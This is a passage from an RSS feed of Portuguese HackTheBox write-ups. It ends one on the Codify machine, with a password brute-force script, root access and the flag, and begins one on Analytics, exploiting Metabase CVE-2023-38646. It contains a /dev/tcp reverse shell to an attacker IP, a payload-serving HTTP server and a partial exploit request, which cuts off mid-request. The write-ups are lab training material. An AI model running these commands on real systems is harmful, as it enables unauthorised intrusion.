        output &lt;span class="o"&gt;=&lt;/span&gt; subprocess.run&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;command&lt;/span&gt;, &lt;span class="nv"&gt;shell&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;True, &lt;span class="nv"&gt;stdout&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;subprocess.PIPE, &lt;span class="nv"&gt;stderr&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;subprocess.PIPE, &lt;span class="nv"&gt;text&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;True&lt;span class="o"&gt;)&lt;/span&gt;.stdout

        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="s2"&gt;"Password confirmed!"&lt;/span&gt; &lt;span class="k"&gt;in &lt;/span&gt;output:
            password +&lt;span class="o"&gt;=&lt;/span&gt; character
            print&lt;span class="o"&gt;(&lt;/span&gt;password&lt;span class="o"&gt;)&lt;/span&gt;
            &lt;span class="nb"&gt;break
    &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;:
        found &lt;span class="o"&gt;=&lt;/span&gt; True
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;E ao executar temos o seguinte retorno:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;joshua@codify:~&lt;span class="nv"&gt;$ &lt;/span&gt;python3 brute.py 
k
kl
klj
kljh
kljh1
kljh12
kljh12k
kljh12k3
kljh12k3j
kljh12k3jh
kljh12k3jha
kljh12k3jhas
kljh12k3jhask
kljh12k3jhaskj
kljh12k3jhaskjh
kljh12k3jhaskjh1
kljh12k3jhaskjh12
kljh12k3jhaskjh12k
kljh12k3jhaskjh12kj
kljh12k3jhaskjh12kjh
kljh12k3jhaskjh12kjh3
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Com o resultado em mãos podemos escalar privilégios para root e buscar a root flag!&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;joshua@codify:~&lt;span class="nv"&gt;$ &lt;/span&gt;su root
Password: 
root@codify:/home/joshua# &lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-a&lt;/span&gt; /root/
&lt;span class="nb"&gt;.&lt;/span&gt;  ..  .bash_history  .bashrc  .creds  .local  .mysql_history  .profile  root.txt  scripts  .ssh  .vimrc
root@codify:/home/joshua# &lt;span class="nb"&gt;cat&lt;/span&gt; /root/root.txt 
1e36b6429f527ac7327a8eb4a4fa57a5
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Finalizando assim a máquina Codify!!&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fj2yjfa3jt24rhqcyvub5.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fj2yjfa3jt24rhqcyvub5.png" alt="Machine pwned" width="800" height="684"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
      <category>javascript</category>
      <category>security</category>
      <category>cybersecurity</category>
      <category>hackthebox</category>
    </item>
    <item>
      <title>HackTheBox - Writeup Analytics</title>
      <dc:creator>Guilherme Martins</dc:creator>
      <pubDate>Sat, 30 Mar 2024 14:41:12 +0000</pubDate>
      <link>https://dev.to/mrtnsgs/hackthebox-writeup-analytics-46m9</link>
      <guid>https://dev.to/mrtnsgs/hackthebox-writeup-analytics-46m9</guid>
      <description>&lt;p&gt;Neste writeup iremos explorar uma máquina linux de nível easy chamada Analytics.&lt;/p&gt;

&lt;p&gt;Esta máquina aborda as seguintes vulnerabilidades:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;CVE-2023-38646 - Pre-Auth RCE in Metabase&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CVE-2023-2640 e CVE-2023-32629 - GameOver(lay)&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Recon, primeira vulnerabilidade e user Flag
&lt;/h3&gt;

&lt;p&gt;Vamos iniciar realizando uma varredura nas portas utilizando o nmap:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="err"&gt;┌──&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;root&lt;/span&gt;&lt;span class="err"&gt;㉿&lt;/span&gt;&lt;span class="n"&gt;kali&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;~&lt;/span&gt;&lt;span class="n"&gt;kali&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;hackthebox&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;machines&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;linux&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;analytics&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;└─&lt;/span&gt;&lt;span class="o"&gt;#&lt;/span&gt; &lt;span class="n"&gt;nmap&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;sV&lt;/span&gt; &lt;span class="c1"&gt;--open -Pn 10.129.86.111              &lt;/span&gt;
&lt;span class="n"&gt;Starting&lt;/span&gt; &lt;span class="n"&gt;Nmap&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;93&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;https&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;//&lt;/span&gt;&lt;span class="n"&gt;nmap&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;org&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;at&lt;/span&gt; &lt;span class="mi"&gt;2023&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;07&lt;/span&gt; &lt;span class="mi"&gt;19&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;37&lt;/span&gt; &lt;span class="n"&gt;EDT&lt;/span&gt;
&lt;span class="n"&gt;Nmap&lt;/span&gt; &lt;span class="n"&gt;scan&lt;/span&gt; &lt;span class="n"&gt;report&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;analytics&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;htb&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;129&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;86&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;111&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;Host&lt;/span&gt; &lt;span class="k"&gt;is&lt;/span&gt; &lt;span class="n"&gt;up&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;25&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="n"&gt;latency&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;
&lt;span class="k"&gt;Not&lt;/span&gt; &lt;span class="n"&gt;shown&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;998&lt;/span&gt; &lt;span class="n"&gt;closed&lt;/span&gt; &lt;span class="n"&gt;tcp&lt;/span&gt; &lt;span class="n"&gt;ports&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;reset&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;PORT&lt;/span&gt;   &lt;span class="k"&gt;STATE&lt;/span&gt; &lt;span class="n"&gt;SERVICE&lt;/span&gt; &lt;span class="k"&gt;VERSION&lt;/span&gt;
&lt;span class="mi"&gt;22&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;tcp&lt;/span&gt; &lt;span class="k"&gt;open&lt;/span&gt;  &lt;span class="n"&gt;ssh&lt;/span&gt;     &lt;span class="n"&gt;OpenSSH&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="n"&gt;p1&lt;/span&gt; &lt;span class="n"&gt;Ubuntu&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="n"&gt;ubuntu0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Ubuntu&lt;/span&gt; &lt;span class="n"&gt;Linux&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;protocol&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mi"&gt;80&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;tcp&lt;/span&gt; &lt;span class="k"&gt;open&lt;/span&gt;  &lt;span class="n"&gt;http&lt;/span&gt;    &lt;span class="n"&gt;nginx&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;18&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Ubuntu&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;Service&lt;/span&gt; &lt;span class="n"&gt;Info&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;OS&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Linux&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;CPE&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;cpe&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;o&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;linux&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;linux_kernel&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Como podemos visualizar no retorno do nmap o host alvo tem as portas 22 e 80 abertas. A porta 22 é do ssh, e a 80 esta rodando um &lt;strong&gt;nginx&lt;/strong&gt;, um servidor web ou proxy reverso.&lt;/p&gt;

&lt;p&gt;Ao acessar pelo navegador o IP na porta 80 somos redirecionados para &lt;strong&gt;analytics.htb&lt;/strong&gt;, vamos adicionar em nosso &lt;strong&gt;/etc/hosts&lt;/strong&gt; esse endereço.&lt;/p&gt;

&lt;p&gt;E ao acessar novamente temos a seguinte página:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwfb9ptj8fw9f1k5nyobj.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwfb9ptj8fw9f1k5nyobj.png" alt="Webpage" width="800" height="486"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Dentre as funcionalidades do site temos a opção de login, que ao clicar somos redirecionados para &lt;strong&gt;data.analytics.htb&lt;/strong&gt;, vamos também adicionar ao &lt;strong&gt;/etc/hosts&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Agora conseguimos acessar o subdomínio, que se trata de um metabase:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F297fkt9vf4yedvuj4qfz.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F297fkt9vf4yedvuj4qfz.png" alt="Metabase Login" width="800" height="486"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;O metabase é uma ferramenta open-source para business intelligence que permite a criação de charts e dashboards proveniente de diversas fontes, como bancos de dados por exemplo.&lt;/p&gt;

&lt;p&gt;Buscando por vulnerabilidades no metabase foi encontrado um &lt;strong&gt;Pre-Auth Remote Code Execution&lt;/strong&gt;, a &lt;strong&gt;CVE-2023-38646.&lt;/strong&gt; &lt;/p&gt;

&lt;p&gt;Esta CVE permite um RCE, conforme mencionado anteriormente, ela ocorre pois a instalação padrão do metabase expõe o setup-token. Esta exposição ocorre pois algumas partes do workflow de setup foram removidos, incluindo a parte que remove o setup-token após a instalação.&lt;/p&gt;

&lt;p&gt;O metabase permite a conectividade com diversos datasources, e durante a instalação é exposto o endpoint &lt;strong&gt;/api/setup/validate&lt;/strong&gt;, que recebe uma &lt;strong&gt;JDBC URI&lt;/strong&gt; como parte de uma requisição &lt;strong&gt;POST&lt;/strong&gt;, que é validado a conexão antes de finalizar a instalação.&lt;/p&gt;

&lt;p&gt;Existem diversas possibilidades de exploração de JDBC connectors, no caso de bancos de dados H2 abusando do parâmetro INIT é a forma mais frequente. Inclusive existe um report para o metabase desta vulnerabilidade:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/metabase/metabase/security/advisories/GHSA-gqpj-wcr3-p88v" rel="noopener noreferrer"&gt;Remote Code Execution via H2&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;No entanto não se aplica a versão &lt;strong&gt;0.46.0&lt;/strong&gt; que é utilizada no alvo, pois o metabase esta bloqueando a função INIT.&lt;/p&gt;

&lt;p&gt;Mas a CVE que estamos analisando e iremos utilizar informa sobre um &lt;strong&gt;SQL Injection&lt;/strong&gt; no driver do &lt;strong&gt;H2&lt;/strong&gt;, que permite a execução de comandos sem utilizar a função &lt;strong&gt;INIT&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;A função &lt;strong&gt;INIT&lt;/strong&gt; permite execuções de queries SQL quando se inicia a conexão com um banco de dados. Com essa função bloqueada precisamos utilizar o argumento &lt;strong&gt;TRACE_LEVEL_SYSTEM_OUT&lt;/strong&gt; para criar uma stack de SQL queries em nosso SQL Injection e assim executar comandos.&lt;/p&gt;

&lt;p&gt;Com isso precisamos avaliar para qual banco apontar durante a exploração, uma vez que apontar para o banco do metabase iria corromper o mesmo.&lt;/p&gt;

&lt;p&gt;Neste caso podemos utilizar o banco de dados sample que é existe dentro do arquivo &lt;strong&gt;JAR&lt;/strong&gt; do metabase. Através do &lt;strong&gt;ZIP URI&lt;/strong&gt; podemos setar este banco para explorar a vulnerabilidade sem corromper nada.&lt;/p&gt;

&lt;p&gt;Vamos buscar primeiramente o setup-token:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="err"&gt;┌──&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;root&lt;/span&gt;&lt;span class="err"&gt;㉿&lt;/span&gt;&lt;span class="n"&gt;kali&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;~&lt;/span&gt;&lt;span class="n"&gt;kali&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;hackthebox&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;machines&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;linux&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;analytics&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;└─&lt;/span&gt;&lt;span class="o"&gt;#&lt;/span&gt; &lt;span class="n"&gt;curl&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="n"&gt;http&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;//&lt;/span&gt;&lt;span class="k"&gt;data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;analytical&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;htb&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;api&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="k"&gt;session&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;properties&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;jq&lt;/span&gt; &lt;span class="p"&gt;.&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;grep&lt;/span&gt; &lt;span class="n"&gt;setup&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;token&lt;/span&gt;
&lt;span class="nv"&gt;"setup-token"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nv"&gt;"249fa03d-fd94-4d5b-b94f-b4ebf3df681f"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Agora com o setup token em mãos vamos criar um arquivo chamado &lt;strong&gt;rev.sh&lt;/strong&gt; que contém nosso reverse shell:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="err"&gt;┌──&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;root&lt;/span&gt;&lt;span class="err"&gt;㉿&lt;/span&gt;&lt;span class="n"&gt;kali&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;~&lt;/span&gt;&lt;span class="n"&gt;kali&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;hackthebox&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;machines&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;linux&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;analytics&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;└─&lt;/span&gt;&lt;span class="o"&gt;#&lt;/span&gt; &lt;span class="n"&gt;cat&lt;/span&gt; &lt;span class="n"&gt;rev&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sh&lt;/span&gt;  
&lt;span class="n"&gt;sh&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;amp;&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;dev&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;tcp&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;14&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;186&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;9002&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;amp;&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Agora precisamos utilizar o RCE para realizar o download do nosso reverse shell no servidor remoto.  Para isso vamos subir um servidor web utilizando python:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="err"&gt;┌──&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;root&lt;/span&gt;&lt;span class="err"&gt;㉿&lt;/span&gt;&lt;span class="n"&gt;kali&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;~&lt;/span&gt;&lt;span class="n"&gt;kali&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;hackthebox&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;machines&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;linux&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;analytics&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;└─&lt;/span&gt;&lt;span class="o"&gt;#&lt;/span&gt; &lt;span class="n"&gt;python3&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;m&lt;/span&gt; &lt;span class="n"&gt;http&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;server&lt;/span&gt; &lt;span class="mi"&gt;8081&lt;/span&gt;
&lt;span class="n"&gt;Serving&lt;/span&gt; &lt;span class="n"&gt;HTTP&lt;/span&gt; &lt;span class="k"&gt;on&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="n"&gt;port&lt;/span&gt; &lt;span class="mi"&gt;8081&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;http&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;//&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;8081&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;E agora vamos utilizar o burp suite para realizar a seguinte requisição com nossa ZIP URI montada e apontando para o banco de dados sample do metabase:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="n"&gt;POST&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;api&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;setup&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;validate&lt;/span&gt; &lt;span class="n"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;
&lt;span class="k"&gt;Host&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="k"&gt;data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;analytical&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;htb&lt;/span&gt;
&lt;span class="n"&gt;Content&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="k"&gt;Type&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;application&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;json&lt;/span&gt;
&lt;span class="n"&gt;Content&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="k"&gt;Length&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;731&lt;/span&gt;

&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nv"&gt;"token"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nv"&gt;"249fa03d-fd94-4d5b-b94f-b4ebf3df681f"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="nv"&gt;"details"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nv"&gt;"is_on_demand"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="k"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="nv"&gt;"is_full_sync"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="k"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="nv"&gt;"is_sample"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="k"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="nv"&gt;"cache_ttl"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="k"&gt;null&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="nv"&gt;"refingerprint"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="k"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="nv"&gt;"auto_run_queries"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="k"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="nv"&gt;"schedules"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="p"&gt;{},&lt;/span&gt;
        &lt;span class="nv"&gt;"details"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="p"&gt;{&lt;/span&gt;
